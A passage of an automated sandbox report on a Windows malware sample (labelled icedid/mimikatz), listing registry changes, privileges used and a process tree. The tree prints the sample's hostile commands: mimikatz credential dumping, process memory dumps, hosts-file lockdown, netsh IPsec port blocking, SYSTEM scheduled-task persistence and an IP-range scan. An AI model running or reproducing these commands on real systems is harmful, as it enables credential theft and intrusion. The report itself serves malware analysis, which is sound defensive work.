Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00cc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs mvekmev.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6BF55A78-BD04-4982-A907-59B7C0B657CB}\WpadDecisionReason = "1" mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ttyubnbbe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ttyubnbbe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA mvekmev.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6BF55A78-BD04-4982-A907-59B7C0B657CB}\WpadDecision = "0" mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6BF55A78-BD04-4982-A907-59B7C0B657CB}\WpadNetworkName = "Network 3" mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\f6-08-de-39-8c-4e\WpadDecisionTime = 8053966d4589da01 mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump ttyubnbbe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6BF55A78-BD04-4982-A907-59B7C0B657CB}\f6-08-de-39-8c-4e mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ttyubnbbe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs mvekmev.exe -
Modifies registry class 14 IoCs
Processes:
mvekmev.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" mvekmev.exe -
Processes:
mvekmev.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 mvekmev.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 mvekmev.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
mvekmev.exepid process 2276 mvekmev.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
mvekmev.exepid process 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exepid process 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exemvekmev.exemvekmev.exevfshost.exesvchost.exettyubnbbe.exebrzypl.exettyubnbbe.exettyubnbbe.exettyubnbbe.exettyubnbbe.exettyubnbbe.exedescription pid process Token: SeDebugPrivilege 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 880 mvekmev.exe Token: SeDebugPrivilege 2156 mvekmev.exe Token: SeDebugPrivilege 1920 vfshost.exe Token: SeAuditPrivilege 2488 svchost.exe Token: SeDebugPrivilege 2744 ttyubnbbe.exe Token: SeShutdownPrivilege 2744 ttyubnbbe.exe Token: SeLockMemoryPrivilege 1544 brzypl.exe Token: SeLockMemoryPrivilege 1544 brzypl.exe Token: SeDebugPrivilege 1772 ttyubnbbe.exe Token: SeShutdownPrivilege 1772 ttyubnbbe.exe Token: SeDebugPrivilege 2220 ttyubnbbe.exe Token: SeShutdownPrivilege 2220 ttyubnbbe.exe Token: SeDebugPrivilege 1700 ttyubnbbe.exe Token: SeShutdownPrivilege 1700 ttyubnbbe.exe Token: SeDebugPrivilege 2980 ttyubnbbe.exe Token: SeShutdownPrivilege 2980 ttyubnbbe.exe Token: SeDebugPrivilege 2004 ttyubnbbe.exe Token: SeShutdownPrivilege 2004 ttyubnbbe.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exemvekmev.exemvekmev.exexohudmc.exekkqiuy.exemvekmev.exepid process 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe 880 mvekmev.exe 880 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2960 xohudmc.exe 2564 kkqiuy.exe 2276 mvekmev.exe 2276 mvekmev.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.execmd.exemvekmev.execmd.execmd.exewpcap.exedescription pid process target process PID 2812 wrote to memory of 3040 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe cmd.exe PID 2812 wrote to memory of 3040 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe cmd.exe PID 2812 wrote to memory of 3040 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe cmd.exe PID 2812 wrote to memory of 3040 2812 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe cmd.exe PID 3040 wrote to memory of 2564 3040 cmd.exe PING.EXE PID 3040 wrote to memory of 2564 3040 cmd.exe PING.EXE PID 3040 wrote to memory of 2564 3040 cmd.exe PING.EXE PID 3040 wrote to memory of 2564 3040 cmd.exe PING.EXE PID 3040 wrote to memory of 880 3040 cmd.exe mvekmev.exe PID 3040 wrote to memory of 880 3040 cmd.exe mvekmev.exe PID 3040 wrote to memory of 880 3040 cmd.exe mvekmev.exe PID 3040 wrote to memory of 880 3040 cmd.exe mvekmev.exe PID 2156 wrote to memory of 944 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 944 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 944 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 944 2156 mvekmev.exe cmd.exe PID 944 wrote to memory of 2388 944 cmd.exe cmd.exe PID 944 wrote to memory of 2388 944 cmd.exe cmd.exe PID 944 wrote to memory of 2388 944 cmd.exe cmd.exe PID 944 wrote to memory of 2388 944 cmd.exe cmd.exe PID 944 wrote to memory of 2412 944 cmd.exe cacls.exe PID 944 wrote to memory of 2412 944 cmd.exe cacls.exe PID 944 wrote to memory of 2412 944 cmd.exe cacls.exe PID 944 wrote to memory of 2412 944 cmd.exe cacls.exe PID 944 wrote to memory of 2448 944 cmd.exe cmd.exe PID 944 wrote to memory of 2448 944 cmd.exe cmd.exe PID 944 wrote to memory of 2448 944 cmd.exe cmd.exe PID 944 wrote to memory of 2448 944 cmd.exe cmd.exe PID 944 wrote to memory of 2480 944 cmd.exe cacls.exe PID 944 wrote to memory of 2480 944 cmd.exe cacls.exe PID 944 wrote to memory of 2480 944 cmd.exe cacls.exe PID 944 wrote to memory of 2480 944 cmd.exe cacls.exe PID 944 wrote to memory of 2328 944 cmd.exe cmd.exe PID 944 wrote to memory of 2328 944 cmd.exe cmd.exe PID 944 wrote to memory of 2328 944 cmd.exe cmd.exe PID 944 wrote to memory of 2328 944 cmd.exe cmd.exe PID 944 wrote to memory of 2916 944 cmd.exe cacls.exe PID 944 wrote to memory of 2916 944 cmd.exe cacls.exe PID 944 wrote to memory of 2916 944 cmd.exe cacls.exe PID 944 wrote to memory of 2916 944 cmd.exe cacls.exe PID 2156 wrote to memory of 2100 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 2100 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 2100 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 2100 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 580 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 580 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 580 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 580 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 1408 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 1408 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 1408 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 1408 2156 mvekmev.exe netsh.exe PID 2156 wrote to memory of 1924 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 1924 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 1924 2156 mvekmev.exe cmd.exe PID 2156 wrote to memory of 1924 2156 mvekmev.exe cmd.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 1924 wrote to memory of 856 1924 cmd.exe wpcap.exe PID 856 wrote to memory of 1956 856 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:284
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C:\Windows\TEMP\yutbwzueh\brzypl.exe"C:\Windows\TEMP\yutbwzueh\brzypl.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Users\Admin\AppData\Local\Temp\2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\btzbgkpn\mvekmev.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2564 -
C:\Windows\btzbgkpn\mvekmev.exeC:\Windows\btzbgkpn\mvekmev.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:880
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C:\Windows\btzbgkpn\mvekmev.exeC:\Windows\btzbgkpn\mvekmev.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2388
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2412
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2448
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2480
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2328
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2916
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2100 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:580 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:1408 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\huibvncjs\zbkkcrpik\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\huibvncjs\zbkkcrpik\wpcap.exeC:\Windows\huibvncjs\zbkkcrpik\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1956
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2668
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:312
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1564
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1680
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:1516
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2312
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2860
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2984
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1996
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2988
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:636
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1836
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:3048
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\huibvncjs\zbkkcrpik\ilnzuuuyp.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\huibvncjs\zbkkcrpik\Scant.txt2⤵
- Loads dropped DLL
PID:1328 -
C:\Windows\huibvncjs\zbkkcrpik\ilnzuuuyp.exeC:\Windows\huibvncjs\zbkkcrpik\ilnzuuuyp.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\huibvncjs\zbkkcrpik\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1828 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\huibvncjs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\huibvncjs\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:2880 -
C:\Windows\huibvncjs\Corporate\vfshost.exeC:\Windows\huibvncjs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1920 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bvzfmyhge" /ru system /tr "cmd /c C:\Windows\ime\mvekmev.exe"2⤵PID:828
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2980
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bvzfmyhge" /ru system /tr "cmd /c C:\Windows\ime\mvekmev.exe"3⤵
- Creates scheduled task(s)
PID:1604 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vfctbhkbp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\btzbgkpn\mvekmev.exe /p everyone:F"2⤵PID:2896
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2208
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "vfctbhkbp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\btzbgkpn\mvekmev.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1600 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ivulzfife" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\yutbwzueh\brzypl.exe /p everyone:F"2⤵PID:1696
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1744
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ivulzfife" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\yutbwzueh\brzypl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:3032 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:896
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:2204
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:3040
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2952
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2552
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1916 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1016
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2736
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:1588
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C:\Windows\TEMP\huibvncjs\ttyubnbbe.exeC:\Windows\TEMP\huibvncjs\ttyubnbbe.exe -accepteula -mp 284 C:\Windows\TEMP\huibvncjs\284.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2744 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:936
